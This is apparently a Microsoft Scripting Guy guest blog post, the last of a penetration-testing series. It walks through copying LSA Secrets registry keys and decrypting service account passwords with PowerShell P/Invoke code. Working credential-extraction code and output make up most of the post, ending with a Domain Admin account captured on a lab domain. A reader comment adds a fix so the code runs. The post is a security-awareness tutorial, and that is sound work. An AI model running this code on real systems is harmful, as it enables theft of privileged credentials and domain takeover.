Use PowerShell to Decrypt LSA Secrets from the Registry

Use PowerShell to Decrypt LSA Secrets from the Registry

  • Comments 2
  • Likes

Summary: Guest blogger, Niklas Goude, talks about using Windows PowerShell to decrypt LSA Secrets from the registry to gain access to domain admin rights.

Microsoft Scripting Guy, Ed Wilson, is here. Today we have the exciting conclusion to the Security Week blogs by Niklas Goude.

Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at PowerShell.nu. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.

This is the last blog in a series of five. We’ve been talking about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.

The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task—no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies.

I hope you will learn and enjoy!

Part 5: Secret service

Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.

In many cases, attackers will gain access to an account with limited privileges on a system. Attackers will try various methods to escalate their privileges to gain administrative permissions on a system. The ultimate goal is to impersonate the system. When attackers gain local administrative permissions on any system, they can extract active logon sessions, hashes, and service account passwords.

In this scenario we will focus on how to extract service account passwords by using Windows PowerShell.

Scenario

This scenario is based on a Windows domain environment consisting of three machines:

  • DC01: domain controller
  • SRV01: SQL Server and IIS
  • SP01: SharePoint 2010, SQL Server, and IIS

In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the SP01, where we now have an account that is a member of the local administrators group on the server.

Note   The Service accounts that are configured for SQL Server and SharePoint 2010 in today’s scenario have not followed the official Microsoft recommendations as explained in Security Considerations for a SQL Server Installation, and therefore they are vulnerable. Of course, if the service accounts had followed the official recommendations, the attacks that are described in this blog would fail.

Code

The Local Security Authority (LSA) in Windows is designed to manage a systems security policy, auditing, logging users on to the system, and storing private data such as service account passwords.

The LSA secrets are stored under the HKLM:\Security\Policy\Secrets key. This key contains additional subkeys that store encrypted secrets. The HKLM:\Security\Policy\Secrets key is not accessible from regedit or other tools by default, but we can access it by running the Enable-TSDuplicateToken function described in yesterday’s blog, Use PowerShell to Duplicate Process Tokens via P/Invoke.

The secrets are available in the 32-bit registry. Step one is to start an elevated 32-bit Windows PowerShell prompt.

Next, we run the Enable-TSDuplicateToken function to gain access to HKLM:\SECURITY.

PS > Enable-TSDuplicateToken

Now let’s take a look at what we can find under the HKLM:\Security\Policy\Secrets key.

PS > dir HKLM:\SECURITY\Policy\Secrets

 

    Hive: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets

 

Name                           Property                                          

----                           --------                                           

$MACHINE.ACC                   (default) : 0                                     

DefaultPassword                (default) : 0                                     

DPAPI_SYSTEM                   (default) : 0                                      

L$ASP.NETAutoGenKeys2.0.50727. (default) : 0                                     

5420                                                                             

NL$KM                          (default) : 0                                     

_SC_FIMSynchronizationService  (default) : 0                                     

_SC_MsDtsServer100             (default) : 0                                     

_SC_MSSQLSERVER                (default) : 0                                     

_SC_MSSQLServerOLAPService     (default) : 0                                     

_SC_OSearch14                  (default) : 0                                     

_SC_ReportServer               (default) : 0                                     

_SC_SPTimerV4                  (default) : 0                                     

_SC_SPUserCodeV4               (default) : 0                                     

_SC_SQLSERVERAGENT             (default) : 0                                     

_SC_WebAnalyticsService        (default) : 0                                      

Notice how some of the key names start with _SC_ followed by a service name. Let’s see what one of these keys contains.

PS > cd HKLM:\SECURITY\Policy\Secrets\_SC_SQLSERVERAGENT

PS > dir

 

    Hive: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\_SC_SQLSERVERAGENT

 

Name                           Property                                          

----                           --------                                          

CupdTime                       (default) : {215, 102, 54, 67...}                 

CurrVal                        (default) : {0, 0, 0, 1...}                       

OldVal                         (default) : {}                                    

OupdTime                       (default) : {118, 5, 52, 67...}                   

SecDesc                        (default) : {1, 0, 4, 128...}   

The key contains five keys:

  • CupdTime: Last update time
  • CurrVal: Current encrypted value of the secret
  • OldVal: Previous value of the secret
  • OupdTime: Previous update time
  • SecDesc: Security descriptor

So, the service account secrets are stored and encrypted in the registry. We can read them (running as system or by duplicating the tokens from a system process), but we can’t decrypt them as is. The only way we can decrypt the values is if we own them. The simplest way would be to copy the values into a temporary key. This technique is shown here.

PS > mkdir HKLM:\SECURITY\Policy\Secrets\MySecret

 

$values = "CurrVal","OldVal","OupdTime","CupdTime","SecDesc"

$values | ForEach-Object {

 $copyFrom = "HKLM:\SECURITY\Policy\Secrets\_SC_SQLSERVERAGENT\" + $_

 $copyTo = "HKLM:\SECURITY\Policy\Secrets\MySecret\" + $_

 mkdir $copyTo | Out-Null

 

 $item = Get-ItemProperty $copyFrom

 Set-ItemProperty -Path $copyTo -Name '(default)' -Value $item.'(default)'

}

In this example, we create a temporary key, MySecrets, and copy each key and its value to the temporary key. To read the encrypted secrets, we need to look at the C# signature of the following functions:

  • LsaRetrievePrivateData
  • LsaStorePrivateData
  • LsaOpenPolicy
  • LsaNtStatusToWinError
  • LsaClose
  • LsaFreeMemory

If we search Pinvoke.net for one of these functions, and then click into the definition, we’ll see a C# signature. This is what we want to use in Windows PowerShell.

Because we need a lot of different C# signatures, we have to go through each of the functions described and copy the signatures into our here string. Here’s the complete code that we want to grab from P/Invoke, slightly modified because we want to call it from a script:

$signature = @"

[StructLayout(LayoutKind.Sequential)]

public struct LSA_UNICODE_STRING

{

  public UInt16 Length;

  public UInt16 MaximumLength;

  public IntPtr Buffer;

}

 

[StructLayout(LayoutKind.Sequential)]

public struct LSA_OBJECT_ATTRIBUTES

{

  public int Length;

  public IntPtr RootDirectory;

  public LSA_UNICODE_STRING ObjectName;

  public uint Attributes;

  public IntPtr SecurityDescriptor;

  public IntPtr SecurityQualityOfService;

}

 

public enum LSA_AccessPolicy : long

{

  POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,

  POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,

  POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,

  POLICY_TRUST_ADMIN = 0x00000008L,

  POLICY_CREATE_ACCOUNT = 0x00000010L,

  POLICY_CREATE_SECRET = 0x00000020L,

  POLICY_CREATE_PRIVILEGE = 0x00000040L,

  POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,

  POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,

  POLICY_AUDIT_LOG_ADMIN = 0x00000200L,

  POLICY_SERVER_ADMIN = 0x00000400L,

  POLICY_LOOKUP_NAMES = 0x00000800L,

  POLICY_NOTIFICATION = 0x00001000L

}

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaRetrievePrivateData(

  IntPtr PolicyHandle,

  ref LSA_UNICODE_STRING KeyName,

  out IntPtr PrivateData

);

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaStorePrivateData(

  IntPtr policyHandle,

  ref LSA_UNICODE_STRING KeyName,

  ref LSA_UNICODE_STRING PrivateData

);

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaOpenPolicy(

  ref LSA_UNICODE_STRING SystemName,

  ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,

  uint DesiredAccess,

  out IntPtr PolicyHandle

);

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaNtStatusToWinError(

  uint status

);

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaClose(

  IntPtr policyHandle

);

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaFreeMemory(

  IntPtr buffer

);

"@

Next we pass the variable to Add-Type. We also set a Name and Namespace.

PS > Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil

The code example found on the Pinvoke.net site describes the steps we take to read the secrets. Let’s convert it to Windows PowerShell code.

First, we set up the attributes. The attributes are used as input to LSAOpenPolicy.

$objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES

$objectAttributes.Length = 0

$objectAttributes.RootDirectory = [IntPtr]::Zero

$objectAttributes.Attributes = 0

$objectAttributes.SecurityDescriptor = [IntPtr]::Zero

$objectAttributes.SecurityQualityOfService = [IntPtr]::Zero

Next, we set the localsystem variable, which is also used as input to LSAOpenPolicy.

$localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING

$localsystem.Buffer = [IntPtr]::Zero

$localsystem.Length = 0

$localsystem.MaximumLength = 0

We also need to add the secretName variable and use the key that we created earlier as input.

$myKey = "MySecret"

$secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING

$secretName.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($myKey)

$secretName.Length = [Uint16]($myKey.Length * [System.Text.UnicodeEncoding]::CharSize)

$secretName.MaximumLength = [Uint16](($myKey.Length + 1) * [System.Text.UnicodeEncoding]::CharSize)

With the attributes, localsystem and secretName in place, we can open LsaPolicyHandle.

$lsaPolicyHandle = [IntPtr]::Zero

[LSAUtil.LSAUtil+LSA_AccessPolicy]$access = [LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION

$lsaOpenPolicyHandle = [LSAUtil.LSAUtil]::LSAOpenPolicy([ref]$localSystem, [ref]$objectAttributes, $access, [ref]$lsaPolicyHandle)

Next, we use the LsaRetrievePrivateData function to get the private data. We also close the policy handle.

$privateData = [IntPtr]::Zero

$ntsResult = [LSAUtil.LSAUtil]::LsaRetrievePrivateData($lsaPolicyHandle, [ref]$secretName, [ref]$privateData)

$lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle)

Now we convert the output from LsaRetrievePrivateData to a managed object. And finally, we convert it to a Unicode string and store it in the variable $value.

[LSAUtil.LSAUtil+LSA_UNICODE_STRING]$lusSecretData =

[LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure($privateData, [LSAUtil.LSAUtil+LSA_UNICODE_STRING])

[string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($lusSecretData.Buffer)

$value = $value.SubString(0, ($lusSecretData.Length / 2))

Almost done. The last part is cleaning up, so we remove the temporary key that we created by using the Remove-Item cmdlet.

PS > Remove-Item -Path "HKLM:\\SECURITY\Policy\Secrets\MySecret" -Recurse -Force

Let us see what happens if we type $value in Windows PowerShell.

PS > $value

P@ssw0rd

The output says: P@ssw0rd. Remember how we copied the keys from _SC_SQLSERVERAGENT to a temporary key in the beginning of this scenario? The value of the $value variable is, in fact, the password that is used by the account running the service. Let us see which account password we just found by using WMI.

PS > $service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = 'SQLSERVERAGENT'"

PS > $service.StartName

HACME\sql-serviceaccount

Finally, let’s take a look which domain groups the sql-serviceaccount is member of. Because I’m using a domain account that is a member of the local administrators group on the server, I can simply start a new instance of Windows PowerShell, import the ActiveDirectory module, and use the Get-ADUser cmdlet to display the information.

PS > Import-Module ActiveDirectory

PS > Get-ADUser -Identity sql-serviceaccount -Properties memberof |

Select memberof

memberof                                                                          

--------                                                                         

{CN=Domain Admins,CN=Users,DC=hacme,DC=local}   

Jackpot! The service account is a member of the domain admin group. At this point, it’s pretty much game over because we now own a domain admin account.

Let us go through these steps again using a Windows PowerShell function, Get-TSLSASecret, instead. The function includes the code described in this scenario.

PS > Enable-TSDuplicateToken

PS > Get-TSLsaSecret

 

Name                 Account              Secret               ComputerName      

----                 -------              ------               ------------      

$MACHINE.ACC                                        J;bzxR#... SP01              

DefaultPassword                                                SP01               DPAPI_SYSTEM                                                   SP01
L$ASP.NETAutoGenK...                                팮ﰰ侏  ... SP01              

NL$KM                                               Ϳ唷茒ᾎᾎ... SP01              

_SC_FIMSynchroniz... \                                         SP01              

_SC_MsDtsServer100   HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_MSSQLSERVER      HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_MSSQLServerOL... HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_OSearch14        HACME\sp-admin                 P@ssw0rd   SP01              

_SC_ReportServer     HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_SPTimerV4        HACME\sp-admin                 P@ssw0rd   SP01              

_SC_SPUserCodeV4     HACME\sp-admin                 P@ssw0rd   SP01              

_SC_SQLSERVERAGENT   HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_WebAnalyticsS... HACME\sp-admin                 P@ssw0rd   SP01  

Downloads

  • The Get-TSLSA Secret function can be downloaded from the Script Center Repository.
  • Additional functions and code related to security are available on the TruSec website.

~Niklas

What a week of knowledge shared by Niklas! Thank you, Niklas, for writing five awesome blogs and for sharing your knowledge with the Windows PowerShell community.

Tomorrow we will have some goodies for you on Weekend Scripter. Come back then to see what’s in store.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Your comment has been posted.   Close
Thank you, your comment requires moderation so it may take a while to appear.   Close
Leave a Comment
  • Hi Niklas,

    a very interesting series about security issues and how to reveal them with Powershell!

    I'm not an API expert, but I know that we can use Windows Api functions in PS and that

    it is the C# way of consuming them.

    It's a bit hard to understand the details but I got your points and how exploits can be used

    by attackers.!

    Great!

    Klaus.

  • Exception calling "PtrToStructure" with "2" argument(s): "The specified structure must be blittable - if you get this error, find the call to 'PtrToStructure' and add [System.Type] in front the 2nd param: like so: PtrToStructure($privateData, [System.Type][LSAUtil.LSAUtil+LSA_UNICODE_STRING])